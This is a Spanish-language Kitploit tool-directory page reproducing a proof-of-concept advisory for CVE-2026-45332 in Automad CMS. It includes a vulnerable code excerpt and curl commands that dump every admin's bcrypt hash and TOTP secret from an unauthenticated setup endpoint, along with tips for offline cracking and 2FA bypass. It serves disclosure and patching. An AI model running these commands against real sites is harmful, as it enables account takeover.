Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-45332-PoC — Exploit de prueba de concepto para CVE-2026-45332, un control de acceso roto en Automad CMS que permite el volcado no autenticado de hashes bcrypt de administrador y secretos TOTP. | Kitploit
Herramientas/GitHubGitHub/lorenzocamilli/cve-2026-45332-poc
Ataques de ContraseñasAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebRecopilación de InformaciónSeguridad WebPruebas de PenetraciónAutenticaciónRed Teaming

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
GitHublorenzocamilli/cve-2026-45332-poc

CVE-2026-45332-PoC

Exploit de prueba de concepto para CVE-2026-45332, un control de acceso roto en Automad CMS que permite el volcado no autenticado de hashes bcrypt de administrador y secretos TOTP.

Ver Repositorio
3hace 3 mesesAún no revisado

CVE-2026-45332: Control de acceso roto en Automad CMS

Prueba de concepto para CVE-2026-45332, una vulnerabilidad de Control de Acceso Roto en Automad CMS que permite a cualquier atacante no autenticado volcar el hash de contraseña bcrypt y el secreto TOTP de todas las cuentas de administrador a través del endpoint de configuración, que nunca se deshabilita después de la configuración inicial.

FieldValue
CVECVE-2026-45332
GHSAGHSA-xm76-r88j-vm3g
ProductAutomad CMS (composer automad/automad)
Affected>= 2.0.0-alpha.1, <= 2.0.0-beta.27
Patched2.0.0-beta.28
CVSS 3.17.5 High (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
CWECWE-200 (Sensitive Information Exposure), CWE-306 (Missing Authentication for Critical Function)
ResearcherLorenzo Camilli

Resumen

Automad es un CMS PHP basado en archivos. El endpoint de configuración responsable de crear la primera cuenta de administrador, /_api/user-collection/create-first-user, está registrado como una ruta de API pública permanente. No hay ninguna protección que lo cierre una vez completada la configuración inicial.

En una instancia activa y completamente configurada, un POST no autenticado a este endpoint carga toda la base de datos de usuarios desde el disco y la devuelve, serializada, en el cuerpo de la respuesta JSON, incluyendo:

  • hashes de contraseña bcrypt de todas las cuentas de administrador
  • secretos TOTP (presentes en 2.0.0-beta.27)
  • la ruta absoluta del sistema de archivos del directorio de configuración

No se requiere ninguna cuenta previa, credenciales ni una posición especial en la red.

Causa raíz

La ruta se coloca dentro del array $publicAPIRoutes en automad/src/server/Routes.php y se registra bajo la condición AM_PAGE_DASHBOARD, una constante que se evalúa como la cadena '/dashboard' y que, por tanto, siempre es verdadera. La ruta permanece registrada en todas las instalaciones, incluso después de completarse el proceso de configuración.

root@kitploit:~
// automad/src/server/Controllers/API/UserCollectionController.php
public static function createFirstUser(): Response {
    $UserCollection = new UserCollection();   // loads ALL existing users from disk
    // ...
    $php = $UserCollection->generatePHP();    // serializes every user including hashes

    return $Response->setData(array(
        'php'       => $php,                  // credential hashes returned in response
        'configDir' => dirname(UserCollection::FILE_ACCOUNTS)  // absolute path leaked
    ));
}

User::__serialize() incluye los campos privados passwordHash y totpSecret, por lo que terminan incrustados en la salida serializada que se devuelve al llamador.

Análisis técnico completo: PoC.md.

Prueba de concepto

El endpoint requiere un token CSRF válido y una cookie de sesión de Automad, ambos obtenibles libremente desde la página pública de inicio de sesión. Reproducción:

root@kitploit:~
# 1. Grab a session cookie and the CSRF token from the public login page
JAR=$(mktemp)
CSRF=$(curl -sc "$JAR" http://localhost:80/dashboard/login \
  | grep -oP '(?<=<meta name="csrf" content=")[^"]+')

# 2. Dump the credential store
curl -s -b "$JAR" -X POST 'http://localhost:80/_api/user-collection/create-first-user' \
  --data-urlencode "__csrf__=$CSRF" \
  --data-urlencode 'username=dummy' \
  --data-urlencode 'password1=AnyPassword1!' \
  --data-urlencode 'password2=AnyPassword1!' \
  --data-urlencode '[email protected]' | jq .

La respuesta contiene el hash bcrypt y el secreto TOTP de cada administrador registrado, junto con la ruta absoluta de configuración:

root@kitploit:~
{
  "code": 200,
  "data": {
    "php": "<?php ... \"passwordHash\";s:60:\"$2y$10$<ADMIN_HASH>\" ... \"totpSecret\";s:N:\"<TOTP_SECRET>\" ...",
    "filename": "accounts.php",
    "configDir": "/path/to/config"
  }
}

Los hashes bcrypt pueden luego ser crackeados sin conexión (Hashcat / John). En 2.0.0-beta.27, el secreto TOTP filtrado permite omitir la autenticación de dos factores por completo.

Impacto

Un atacante remoto no autenticado puede:

  1. Recuperar el hash bcrypt de cada administrador y crackearlo sin conexión.
  2. Recuperar los secretos TOTP y omitir la 2FA (2.0.0-beta.27).
  3. Descubrir la ruta absoluta del sistema de archivos del servidor, lo que facilita ataques posteriores.

Mitigación

Actualice a Automad 2.0.0-beta.28 o posterior, que restringe el endpoint una vez completada la configuración inicial. Como mitigación temporal, bloquee las peticiones a /_api/user-collection/create-first-user en el servidor web o WAF.

Referencias

  • CVE.org: CVE-2026-45332
  • GitHub Advisory: GHSA-xm76-r88j-vm3g
  • Automad CMS
  • Control de acceso roto (OWASP)
Descargar herramienta